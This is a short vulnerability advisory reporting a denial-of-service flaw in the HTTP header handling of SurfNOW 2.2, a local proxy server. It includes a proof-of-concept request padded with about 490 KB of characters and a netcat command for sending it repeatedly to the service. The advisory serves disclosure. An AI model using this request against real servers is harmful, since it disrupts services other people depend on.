Denial Of Service in SurfNOW 2.2

["Donato Ferrante" <fdonato () autistici org>]

                           Donato Ferrante


Application:  SurfNOW
              http://www.loomsoft.com/

Version:      2.2

Bug:          Denial Of Service

Author:       Donato Ferrante
              e-mail: fdonato () autistici org
              web:    www.autistici.org/fdonato



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1. Description
2. The bug
3. The code
4. The fix



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1. Description:
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Vendor's Description:

"SurfNOW is a simple local HTTP Proxy Server (running on your computer)
without cache. SurfNOW protects your privacy while on the Internet as
well as speeds up your downloads, especially if you are trying to get
several files form overseas or from otherwise rather slow server.
It can also completely hide your IP address by dynamically connecting
to non-transparent anonymizing public proxy servers. You can also test
a list of proxy servers and sort them by connection speed and level
of anonimity."



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2. The bug:
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The bug is in the http header handling, so is possible to send crafted
big strings to the server and it will not work correctly.



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3. The code:
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To test the vulnerability send to the server a string like:

[1] "GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n"


For example, if you use netcat you can test the bug, using:

nc -v -v host 8080 < testFile.txt
( note: "testFile.txt" is a file of 490 Kb as [1] )

and repeating this, for example 7 times.



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4. The fix:
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Bug will be fixed in the next version of SurfNOW.
So go on the Loomsoft's official website, http://www.loomsoft.com/
and check for the next version of SurfNOW.



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